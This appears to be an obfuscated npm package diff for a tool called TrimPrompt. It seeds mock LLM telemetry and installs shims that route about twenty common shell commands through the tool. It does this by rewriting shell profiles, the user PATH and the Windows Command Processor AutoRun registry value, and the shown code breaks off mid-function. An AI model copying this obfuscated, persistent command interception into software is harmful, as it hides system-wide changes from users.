+ 'use strict';const a0_0x5c88a4=a0_0x386b;(function(_0x4b4a32,_0x4b1ed8){const _0x3e98ce=a0_0x386b,_0x4a70d6=_0x4b4a32();while(!![]){try{const _0x238f8d=-parseInt(_0x3e98ce(0x133))/0x1+parseInt(_0x3e98ce(0x126))/0x2*(-parseInt(_0x3e98ce(0x13e))/0x3)+parseInt(_0x3e98ce(0x134))/0x4*(parseInt(_0x3e98ce(0x144))/0x5)+parseInt(_0x3e98ce(0x136))/0x6*(-parseInt(_0x3e98ce(0x12a))/0x7)+parseInt(_0x3e98ce(0x12f))/0x8+parseInt(_0x3e98ce(0x138))/0x9+parseInt(_0x3e98ce(0x130))/0xa*(parseInt(_0x3e98ce(0x135))/0xb);if(_0x238f8d===_0x4b1ed8)break;else _0x4a70d6['push'](_0x4a70d6['shift']());}catch(_0x487269){_0x4a70d6['push'](_0x4a70d6['shift']());}}}(a0_0x5a1a,0x52346));function a0_0x386b(_0x412f48,_0x503bf8){const _0x5a1a6b=a0_0x5a1a();return a0_0x386b=function(_0x386b9b,_0x4c14f3){_0x386b9b=_0x386b9b-0x123;let _0x33dff1=_0x5a1a6b[_0x386b9b];return _0x33dff1;},a0_0x386b(_0x412f48,_0x503bf8);}Object[a0_0x5c88a4(0x131)](exports,a0_0x5c88a4(0x13b),{'value':!![]});const tracker_1=require(a0_0x5c88a4(0x128));function a0_0x5a1a(){const _0x494d46=['[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','Test\x20suite\x20run\x20starting...\x0a','pytest\x20tests/app','test_api.py\x20PASS\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','repeat','32EiBzRQ','TRIMPROMPT_MODEL','./tracker','Optimizing\x20assets...\x0a','322021nipPeb','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','log','env','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','629360aMxGQo','27920VGajmn','defineProperty','Compilation\x20Output:\x0a','368675ZvmWLY','498196yWvAis','4180ejRdRJ','42YBIIEo','test_auth.py\x20PASS\x0a','2775267UOrNLI','gemini-1-5-pro','logExecution','__esModule','docker\x20build\x20.','[INFO]\x20Building\x20modules...\x0a','102213vLNpPd','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','npm\x20run\x20build','tracker','claude-3-opus','test_db.py\x20PASS\x0a','5PTPLgM'];a0_0x5a1a=function(){return _0x494d46;};return a0_0x5a1a();}console['log'](a0_0x5c88a4(0x146)),process['env'][a0_0x5c88a4(0x127)]=a0_0x5c88a4(0x142),tracker_1[a0_0x5c88a4(0x141)][a0_0x5c88a4(0x13a)](a0_0x5c88a4(0x140),a0_0x5c88a4(0x132)+a0_0x5c88a4(0x13d)+a0_0x5c88a4(0x129)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),a0_0x5c88a4(0x145),0x0),process['env']['TRIMPROMPT_MODEL']='gpt-4o',tracker_1['tracker']['logExecution'](a0_0x5c88a4(0x148),a0_0x5c88a4(0x147)+a0_0x5c88a4(0x137)+a0_0x5c88a4(0x143)+a0_0x5c88a4(0x123)['repeat'](0x12c)+a0_0x5c88a4(0x124),a0_0x5c88a4(0x12e),0x0),process[a0_0x5c88a4(0x12d)]['TRIMPROMPT_MODEL']=a0_0x5c88a4(0x139),tracker_1[a0_0x5c88a4(0x141)][a0_0x5c88a4(0x13a)](a0_0x5c88a4(0x13c),a0_0x5c88a4(0x12b)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+'Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x5c88a4(0x125)](0x3)+'Successfully\x20built\x20image.',a0_0x5c88a4(0x13f),0x0),console[a0_0x5c88a4(0x12c)]('Database\x20successfully\x20seeded!');
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1d499c=a0_0x2757;(function(_0x97b226,_0x577956){const _0x47617a=a0_0x2757,_0x56ca2f=_0x97b226();while(!![]){try{const _0x50cc09=-parseInt(_0x47617a(0x12b))/0x1+-parseInt(_0x47617a(0x171))/0x2+parseInt(_0x47617a(0x16e))/0x3*(-parseInt(_0x47617a(0x19b))/0x4)+parseInt(_0x47617a(0x162))/0x5+parseInt(_0x47617a(0x138))/0x6*(-parseInt(_0x47617a(0x166))/0x7)+parseInt(_0x47617a(0x131))/0x8+-parseInt(_0x47617a(0x15b))/0x9*(-parseInt(_0x47617a(0x12f))/0xa);if(_0x50cc09===_0x577956)break;else _0x56ca2f['push'](_0x56ca2f['shift']());}catch(_0x360c1d){_0x56ca2f['push'](_0x56ca2f['shift']());}}}(a0_0x570a,0xa25a9));function a0_0x570a(){const _0x3a1b71=['git','\x20-NoProfile\x20-Command\x20\x22','-Command','uninstallShims','\x20\x20trim\x20','Failed\x20to\x20uninstall\x20shims:\x20','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','kubectl','includes','TrimPrompt\x20Shims\x20PATH','Set-ItemProperty\x20-Path\x20\x27','pipe','\x0a$env:PATH\x20=\x20\x22','dirname','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','homedir','replace','.cmd','powershell','755','npm','\x20@args\x20}\x0a','call','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','child_process','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x20%*','rmdirSync','ignore','New-Item\x20-Path\x20\x27',';\x22\x20+\x20$env:PATH\x0a','trim.ps1','installShims',';%PATH%\x22','appendFileSync',':$PATH\x22\x0a','toLowerCase','108956vViJPb','execSync','$PROFILE.CurrentUserAllHosts','pip','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','prototype','ruff','some','\x20\x22$@\x22;\x20fi\x0a','1148034rritDF','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','mkdirSync','unlinkSync','11174630QUDfqq','writeFileSync','4003200dDIVhl','path','__createBinding','pip3','readdirSync','tree','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','3606480mNbuSp','\x0aexport\x20PATH=\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','filter','cargo','win32','powershell.exe','.profile','\x27,\x20\x27User\x27)','-NoProfile','.zshrc','.bash_profile','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x22\x20set\x20\x22PATH=','pnpm','existsSync','length','split','trim','readFileSync','trim.cmd','Failed\x20to\x20install\x20shims:\x20','default','@echo\x20off','platform','create','message','\x20\x20set\x20\x22PATH=%PATH:',';=%\x22','\x20@args\x20}\x20else\x20{\x20&\x20','chmodSync',':$PATH\x22','.bashrc','export\x20PATH=\x22','npx','9MOewHH','\x20&\x20','join','configurable','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','5999725LQASFR','__esModule','glab','push','7dnbuKc','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','utf8','.trimprompt','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','getOwnPropertyDescriptor','Remove-ItemProperty\x20-Path\x20\x27','if\x20exist\x20\x22','42ZWaaEK','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','grep','44694ZTIXXw','powershell\x20-NoProfile\x20-Command\x20\x22','execFileSync','\x0a#\x20'];a0_0x570a=function(){return _0x3a1b71;};return a0_0x570a();}var __createBinding=this&&this[a0_0x1d499c(0x133)]||(Object[a0_0x1d499c(0x151)]?function(_0x29bc86,_0x54a57d,_0x11660a,_0x3e1bbb){const _0x194e43=a0_0x1d499c;if(_0x3e1bbb===undefined)_0x3e1bbb=_0x11660a;var _0x497475=Object[_0x194e43(0x16b)](_0x54a57d,_0x11660a);(!_0x497475||('get'in _0x497475?!_0x54a57d['__esModule']:_0x497475['writable']||_0x497475[_0x194e43(0x15e)]))&&(_0x497475={'enumerable':!![],'get':function(){return _0x54a57d[_0x11660a];}}),Object['defineProperty'](_0x29bc86,_0x3e1bbb,_0x497475);}:function(_0x26356c,_0x4167c7,_0x3b3aa1,_0x2bcc15){if(_0x2bcc15===undefined)_0x2bcc15=_0x3b3aa1;_0x26356c[_0x2bcc15]=_0x4167c7[_0x3b3aa1];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1d499c(0x151)]?function(_0x18d3da,_0x386be8){const _0x36b6a8=a0_0x1d499c;Object['defineProperty'](_0x18d3da,_0x36b6a8(0x14e),{'enumerable':!![],'value':_0x386be8});}:function(_0x2f6544,_0x5e20ef){const _0x177751=a0_0x1d499c;_0x2f6544[_0x177751(0x14e)]=_0x5e20ef;}),__importStar=this&&this['__importStar']||(function(){var _0x505007=function(_0x5645ea){return _0x505007=Object['getOwnPropertyNames']||function(_0x15fdef){const _0x12c55e=a0_0x2757;var _0x2715dd=[];for(var _0x5211d3 in _0x15fdef)if(Object[_0x12c55e(0x127)]['hasOwnProperty'][_0x12c55e(0x18b)](_0x15fdef,_0x5211d3))_0x2715dd[_0x2715dd[_0x12c55e(0x148)]]=_0x5211d3;return _0x2715dd;},_0x505007(_0x5645ea);};return function(_0x370068){const _0x53f2ce=a0_0x2757;if(_0x370068&&_0x370068[_0x53f2ce(0x163)])return _0x370068;var _0x5e9454={};if(_0x370068!=null){for(var _0x44eb8a=_0x505007(_0x370068),_0x4c3b87=0x0;_0x4c3b87<_0x44eb8a[_0x53f2ce(0x148)];_0x4c3b87++)if(_0x44eb8a[_0x4c3b87]!==_0x53f2ce(0x14e))__createBinding(_0x5e9454,_0x370068,_0x44eb8a[_0x4c3b87]);}return __setModuleDefault(_0x5e9454,_0x370068),_0x5e9454;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1d499c(0x196)]=installShims,exports[a0_0x1d499c(0x178)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1d499c(0x132))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x1d499c(0x136),'cat','read',a0_0x1d499c(0x170),'rg',a0_0x1d499c(0x128),a0_0x1d499c(0x175),'gh',a0_0x1d499c(0x164),a0_0x1d499c(0x13c),a0_0x1d499c(0x189),a0_0x1d499c(0x146),a0_0x1d499c(0x15a),'yarn',a0_0x1d499c(0x17c),'docker','pytest',a0_0x1d499c(0x19e),a0_0x1d499c(0x134),'go'],PROFILE_MARKER=a0_0x1d499c(0x17e);function getExecSync(){const _0x10bd68=a0_0x1d499c;return require(_0x10bd68(0x18d))[_0x10bd68(0x19c)];}function getExecFileSync(){const _0x24223e=a0_0x1d499c;return require(_0x24223e(0x18d))[_0x24223e(0x173)];}function ensureProfileContains(_0x858477,_0x1bd38c,_0x4a873a){const _0xfd8dd0=a0_0x1d499c;try{const _0x4515de=path[_0xfd8dd0(0x182)](_0x858477);!fs[_0xfd8dd0(0x147)](_0x4515de)&&fs[_0xfd8dd0(0x12d)](_0x4515de,{'recursive':!![]});if(fs[_0xfd8dd0(0x147)](_0x858477)){const _0x1189a5=fs[_0xfd8dd0(0x14b)](_0x858477,'utf8');if(_0x1189a5['includes'](_0x1bd38c))return;fs[_0xfd8dd0(0x198)](_0x858477,_0x4a873a,_0xfd8dd0(0x168));}else fs['writeFileSync'](_0x858477,_0x4a873a,'utf8');}catch{}}function removeProfileBlock(_0x5d253d,_0x267761){const _0x7f9056=a0_0x1d499c;try{if(!fs['existsSync'](_0x5d253d))return;const _0x601aa=fs[_0x7f9056(0x14b)](_0x5d253d,_0x7f9056(0x168));if(!_0x601aa[_0x7f9056(0x17d)](_0x267761))return;const _0x218060=_0x601aa[_0x7f9056(0x149)]('\x0a'),_0x375e0b=[];let _0x13e692=![];for(let _0x4f6b7c=0x0;_0x4f6b7c<_0x218060[_0x7f9056(0x148)];_0x4f6b7c++){if(_0x218060[_0x4f6b7c][_0x7f9056(0x17d)](_0x267761)){_0x13e692=!![];continue;}if(_0x13e692){_0x13e692=![];continue;}_0x375e0b['push'](_0x218060[_0x4f6b7c]);}const _0x3346ae=_0x375e0b[_0x7f9056(0x15d)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x5d253d,_0x3346ae,_0x7f9056(0x168));}catch{}}function collectPowerShellProfiles(){const _0x1b0f75=a0_0x1d499c,_0x3c5d80=getExecSync(),_0x41462f=[],_0x2332ac=[[_0x1b0f75(0x187),'$PROFILE.CurrentUserCurrentHost'],[_0x1b0f75(0x187),_0x1b0f75(0x19d)]];try{_0x3c5d80('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1b0f75(0x192)}),_0x2332ac[_0x1b0f75(0x165)](['pwsh',_0x1b0f75(0x19d)]);}catch{}for(const [_0x52db05,_0x5aa8a4]of _0x2332ac){try{const _0x37705e=_0x3c5d80(_0x52db05+_0x1b0f75(0x176)+_0x5aa8a4+'\x22',{'encoding':_0x1b0f75(0x168)})[_0x1b0f75(0x14a)]();_0x37705e&&!_0x41462f[_0x1b0f75(0x129)](_0x10ac15=>_0x10ac15[_0x1b0f75(0x19a)]()===_0x37705e[_0x1b0f75(0x19a)]())&&_0x41462f['push'](_0x37705e);}catch{}}return _0x41462f;}function a0_0x2757(_0x352c0f,_0x244a41){_0x352c0f=_0x352c0f-0x126;const _0x570a7a=a0_0x570a();let _0x2757d8=_0x570a7a[_0x352c0f];return _0x2757d8;}function getBashProfilesWindows(){const _0x2eddb5=a0_0x1d499c,_0x147c97=os[_0x2eddb5(0x184)]();return[_0x2eddb5(0x158),_0x2eddb5(0x143)]['map'](_0xdb9529=>path[_0x2eddb5(0x15d)](_0x147c97,_0xdb9529));}function getBroadcastCommand(){const _0x5e3a02=a0_0x1d499c;return _0x5e3a02(0x160);}function installShims(){const _0x3428d1=a0_0x1d499c,_0x4f0e4c=path[_0x3428d1(0x15d)](os[_0x3428d1(0x184)](),_0x3428d1(0x169),'shims');try{!fs[_0x3428d1(0x147)](_0x4f0e4c)&&fs[_0x3428d1(0x12d)](_0x4f0e4c,{'recursive':!![]});const _0x1d42aa=os[_0x3428d1(0x150)]()===_0x3428d1(0x13d);for(const _0xa363b5 of SHIMMED_COMMANDS){if(_0x1d42aa){const _0x5c8432=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5+_0x3428d1(0x186)),_0x28f79c=process.env.APPDATA?path[_0x3428d1(0x15d)](process.env.APPDATA,_0x3428d1(0x189)):'',_0x22f7ea=_0x28f79c?_0x3428d1(0x16d)+path['join'](_0x28f79c,_0x3428d1(0x14c))+'\x22':_0x3428d1(0x137),_0x27311f=[_0x3428d1(0x14f),_0x22f7ea+'\x20(',_0x3428d1(0x179)+_0xa363b5+_0x3428d1(0x190),')\x20else\x20(',_0x3428d1(0x153)+_0x4f0e4c+_0x3428d1(0x154),'\x20\x20'+_0xa363b5+_0x3428d1(0x190),')'][_0x3428d1(0x15d)]('\x0d\x0a')+'\x0d\x0a';fs[_0x3428d1(0x130)](_0x5c8432,_0x27311f,_0x3428d1(0x168));const _0x249907=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5+'.ps1'),_0x414a6='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0xa363b5+_0x3428d1(0x155)+_0xa363b5+_0x3428d1(0x18a);fs[_0x3428d1(0x130)](_0x249907,_0x414a6,_0x3428d1(0x168));const _0x3c8e23=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5),_0x2c50aa=_0x4f0e4c['replace'](/\\/g,'/')[_0x3428d1(0x185)](/^([A-Za-z]):/,(_0x2fb373,_0x1ed05b)=>'/'+_0x1ed05b[_0x3428d1(0x19a)]()),_0x47925d=_0x3428d1(0x167)+_0xa363b5+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x2c50aa+_0x3428d1(0x18f)+_0xa363b5+_0x3428d1(0x12a);fs[_0x3428d1(0x130)](_0x3c8e23,_0x47925d,_0x3428d1(0x168));}else{const _0x362895=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5),_0x51a16d=_0x3428d1(0x167)+_0xa363b5+_0x3428d1(0x12c)+_0xa363b5+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x3428d1(0x130)](_0x362895,_0x51a16d,_0x3428d1(0x168)),fs[_0x3428d1(0x156)](_0x362895,_0x3428d1(0x188));}}let _0x65de31=![],_0x58c406='';if(_0x1d42aa)try{const _0x3999a2=getExecSync(),_0x1b7cb6='\x0a#\x20'+PROFILE_MARKER+_0x3428d1(0x181)+_0x4f0e4c+_0x3428d1(0x194),_0x3f39bf=collectPowerShellProfiles();for(const _0x159080 of _0x3f39bf){ensureProfileContains(_0x159080,_0x4f0e4c,_0x1b7cb6);}try{const _0x727c76=getExecFileSync(),_0x772a0b=_0x3428d1(0x16d)+_0x4f0e4c+_0x3428d1(0x145)+_0x4f0e4c+_0x3428d1(0x197),_0xfeaed1=_0x3428d1(0x161);let _0x54062d='';try{const _0x4865c3='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0xfeaed1+_0x3428d1(0x16f);_0x54062d=_0x727c76('powershell.exe',[_0x3428d1(0x141),_0x3428d1(0x177),_0x4865c3],{'encoding':_0x3428d1(0x168),'stdio':[_0x3428d1(0x180),'pipe',_0x3428d1(0x192)]})[_0x3428d1(0x14a)]();}catch{}if(!_0x54062d['includes'](_0x4f0e4c)){const _0xcef934=_0x54062d?_0x54062d+'\x20&\x20'+_0x772a0b:_0x772a0b,_0x14b1ec=_0x3428d1(0x193)+_0xfeaed1+_0x3428d1(0x144)+_0xfeaed1+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0xcef934+'\x27';_0x727c76(_0x3428d1(0x13e),[_0x3428d1(0x141),'-Command',_0x14b1ec],{'stdio':_0x3428d1(0x192)});}}catch{}try{const _0x5de264=_0x4f0e4c[_0x3428d1(0x185)](/\\/g,'/')[_0x3428d1(0x185)](/^([A-Za-z]):/,(_0x289537,_0x84c599)=>'/'+_0x84c599[_0x3428d1(0x19a)]()),_0x2c808a=_0x3428d1(0x174)+PROFILE_MARKER+_0x3428d1(0x139)+_0x5de264+_0x3428d1(0x199),_0x1bd705=getBashProfilesWindows();let _0x4a6900=![];for(const _0x89da1f of _0x1bd705){fs[_0x3428d1(0x147)](_0x89da1f)&&(ensureProfileContains(_0x89da1f,_0x5de264,_0x2c808a),_0x4a6900=!![]);}!_0x4a6900&&ensureProfileContains(_0x1bd705[0x0],_0x5de264,_0x2c808a);}catch{}const _0x8c7494=_0x3428d1(0x13a),_0x48688f=_0x3999a2('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x8c7494+'\x22',{'encoding':'utf8','stdio':[_0x3428d1(0x180),_0x3428d1(0x180),'ignore']})['trim']();if(!_0x48688f[_0x3428d1(0x17d)](_0x4f0e4c)){const _0xacb964=_0x4f0e4c+';'+_0x48688f,_0x2aa829=_0xacb964[_0x3428d1(0x185)](/'/g,'\x27\x27'),_0x5570f2=_0x3428d1(0x17b)+_0x2aa829+'\x27,\x20\x27User\x27)';_0x3999a2('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x5570f2+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3428d1(0x192)});}const _0x5b2ecc=path[_0x3428d1(0x15d)](process.env.APPDATA||'','npm',_0x3428d1(0x195));if(fs['existsSync'](_0x5b2ecc))try{fs[_0x3428d1(0x12e)](_0x5b2ecc);}catch{}_0x65de31=!![];}catch(_0x1e1ee3){_0x58c406=_0x3428d1(0x126)+_0x4f0e4c;}else try{const _0x204b81=_0x3428d1(0x159)+_0x4f0e4c+_0x3428d1(0x199),_0x287911=os[_0x3428d1(0x184)](),_0x5e769e=[_0x3428d1(0x158),'.zshrc','.bash_profile',_0x3428d1(0x13f)];let _0x560894=![];for(const _0x29f225 of _0x5e769e){const _0x3ab9b8=path['join'](_0x287911,_0x29f225);fs[_0x3428d1(0x147)](_0x3ab9b8)&&(ensureProfileContains(_0x3ab9b8,_0x4f0e4c,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x204b81),_0x560894=!![]);}if(!_0x560894){const _0x3451ed=path[_0x3428d1(0x15d)](_0x287911,_0x3428d1(0x158));ensureProfileContains(_0x3451ed,_0x4f0e4c,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x204b81);}_0x65de31=!![];}catch(_0x4f62aa){_0x58c406=_0x3428d1(0x18e)+_0x4f0e4c+_0x3428d1(0x157);}const _0x541578='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x3428d1(0x148)]+'\x20commands.\x0a\x0a',_0x390506=_0x65de31?_0x541578+_0x3428d1(0x183):_0x541578+_0x3428d1(0x16a)+_0x58c406;return{'success':!![],'pathDir':_0x4f0e4c,'message':_0x390506};}catch(_0x21a20d){return{'success':![],'pathDir':_0x4f0e4c,'message':_0x3428d1(0x14d)+_0x21a20d[_0x3428d1(0x152)]};}}function uninstallShims(){const _0x13fa15=a0_0x1d499c,_0x48ebf5=path[_0x13fa15(0x15d)](os[_0x13fa15(0x184)](),_0x13fa15(0x169),'shims'),_0x1e6085=os[_0x13fa15(0x150)]()===_0x13fa15(0x13d);try{if(_0x1e6085){const _0x196955=getExecSync();try{const _0x33c578=getExecFileSync(),_0xfd6e96='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x4067af='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0xfd6e96+_0x13fa15(0x16f),_0x3a15af=_0x33c578(_0x13fa15(0x13e),[_0x13fa15(0x141),_0x13fa15(0x177),_0x4067af],{'encoding':_0x13fa15(0x168),'stdio':[_0x13fa15(0x180),_0x13fa15(0x180),_0x13fa15(0x192)]})['trim']();if(_0x3a15af[_0x13fa15(0x17d)](_0x48ebf5)){const _0x342ec8=_0x3a15af['split'](_0x13fa15(0x15c))['filter'](_0x1200cd=>!_0x1200cd[_0x13fa15(0x17d)](_0x48ebf5));if(_0x342ec8[_0x13fa15(0x148)]===0x0){const _0x1bb857=_0x13fa15(0x16c)+_0xfd6e96+_0x13fa15(0x15f);_0x33c578(_0x13fa15(0x13e),[_0x13fa15(0x141),'-Command',_0x1bb857],{'stdio':_0x13fa15(0x192)});}else{const _0x259dca=_0x342ec8['join'](_0x13fa15(0x15c)),_0x49a685=_0x13fa15(0x17f)+_0xfd6e96+_0x13fa15(0x18c)+_0x259dca+'\x27';_0x33c578(_0x13fa15(0x13e),[_0x13fa15(0x141),_0x13fa15(0x177),_0x49a685],{'stdio':_0x13fa15(0x192)});}}}catch{}try{const _0x56a024=collectPowerShellProfiles();for(const _0x355fbf of _0x56a024){removeProfileBlock(_0x355fbf,PROFILE_MARKER);}}catch{}try{for(const _0x16c19c of getBashProfilesWindows()){removeProfileBlock(_0x16c19c,PROFILE_MARKER);}}catch{}try{const _0x411e5d=_0x13fa15(0x13a),_0x28fd2e=_0x196955(_0x13fa15(0x172)+_0x411e5d+'\x22',{'encoding':_0x13fa15(0x168),'stdio':[_0x13fa15(0x180),_0x13fa15(0x180),_0x13fa15(0x192)]})[_0x13fa15(0x14a)]();if(_0x28fd2e[_0x13fa15(0x17d)](_0x48ebf5)){const _0x20e243=_0x28fd2e[_0x13fa15(0x149)](';')[_0x13fa15(0x13b)](_0x3c400e=>_0x3c400e[_0x13fa15(0x14a)]()[_0x13fa15(0x19a)]()!==_0x48ebf5[_0x13fa15(0x19a)]())[_0x13fa15(0x15d)](';'),_0x16f62b=_0x20e243[_0x13fa15(0x185)](/'/g,'\x27\x27'),_0x2b666b=_0x13fa15(0x17b)+_0x16f62b+_0x13fa15(0x140);_0x196955(_0x13fa15(0x172)+_0x2b666b+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x13fa15(0x192)});}}catch{}}else{const _0x42a097=os[_0x13fa15(0x184)](),_0x307a1a=['.bashrc',_0x13fa15(0x142),_0x13fa15(0x143),_0x13fa15(0x13f)];for(const _0x3acb37 of _0x307a1a){removeProfileBlock(path['join'](_0x42a097,_0x3acb37),PROFILE_MARKER);}}if(fs[_0x13fa15(0x147)](_0x48ebf5)){const _0x5d6abe=fs[_0x13fa15(0x135)](_0x48ebf5);for(const _0x328532 of _0x5d6abe){fs[_0x13fa15(0x12e)](path[_0x13fa15(0x15d)](_0x48ebf5,_0x328532));}fs[_0x13fa15(0x191)](_0x48ebf5);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x541908){return{'success':![],'message':_0x13fa15(0x17a)+_0x541908[_0x13fa15(0x152)]};}}
1
+ 'use strict';const a0_0x1758bc=a0_0x40f3;(function(_0x411317,_0x184834){const _0x72df36=a0_0x40f3,_0x52f624=_0x411317();while(!![]){try{const _0x1ac1de=-parseInt(_0x72df36(0x1a4))/0x1+parseInt(_0x72df36(0x15e))/0x2*(-parseInt(_0x72df36(0x178))/0x3)+parseInt(_0x72df36(0x16f))/0x4*(-parseInt(_0x72df36(0x197))/0x5)+-parseInt(_0x72df36(0x1b6))/0x6*(parseInt(_0x72df36(0x16c))/0x7)+parseInt(_0x72df36(0x1c3))/0x8*(-parseInt(_0x72df36(0x18a))/0x9)+parseInt(_0x72df36(0x162))/0xa+-parseInt(_0x72df36(0x198))/0xb*(-parseInt(_0x72df36(0x190))/0xc);if(_0x1ac1de===_0x184834)break;else _0x52f624['push'](_0x52f624['shift']());}catch(_0x476356){_0x52f624['push'](_0x52f624['shift']());}}}(a0_0x3386,0xbd346));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1758bc(0x19d)]?function(_0x3134a8,_0x2fc564,_0x229f26,_0x21353c){const _0x417b13=a0_0x1758bc;if(_0x21353c===undefined)_0x21353c=_0x229f26;var _0x1be1cc=Object[_0x417b13(0x167)](_0x2fc564,_0x229f26);(!_0x1be1cc||(_0x417b13(0x18e)in _0x1be1cc?!_0x2fc564[_0x417b13(0x183)]:_0x1be1cc['writable']||_0x1be1cc[_0x417b13(0x179)]))&&(_0x1be1cc={'enumerable':!![],'get':function(){return _0x2fc564[_0x229f26];}}),Object['defineProperty'](_0x3134a8,_0x21353c,_0x1be1cc);}:function(_0x1aec97,_0x14acf0,_0x317b78,_0x1e5250){if(_0x1e5250===undefined)_0x1e5250=_0x317b78;_0x1aec97[_0x1e5250]=_0x14acf0[_0x317b78];}),__setModuleDefault=this&&this[a0_0x1758bc(0x194)]||(Object[a0_0x1758bc(0x19d)]?function(_0x55918a,_0x1381db){const _0x1df4ba=a0_0x1758bc;Object[_0x1df4ba(0x17a)](_0x55918a,_0x1df4ba(0x1d4),{'enumerable':!![],'value':_0x1381db});}:function(_0x3c9319,_0x25ac3e){const _0x7d4aef=a0_0x1758bc;_0x3c9319[_0x7d4aef(0x1d4)]=_0x25ac3e;}),__importStar=this&&this[a0_0x1758bc(0x1d0)]||(function(){var _0x4489fd=function(_0x401c7f){const _0x5e3779=a0_0x40f3;return _0x4489fd=Object[_0x5e3779(0x186)]||function(_0x302e11){const _0x2de767=_0x5e3779;var _0x3898a5=[];for(var _0x1a17ad in _0x302e11)if(Object[_0x2de767(0x1b7)][_0x2de767(0x161)]['call'](_0x302e11,_0x1a17ad))_0x3898a5[_0x3898a5[_0x2de767(0x184)]]=_0x1a17ad;return _0x3898a5;},_0x4489fd(_0x401c7f);};return 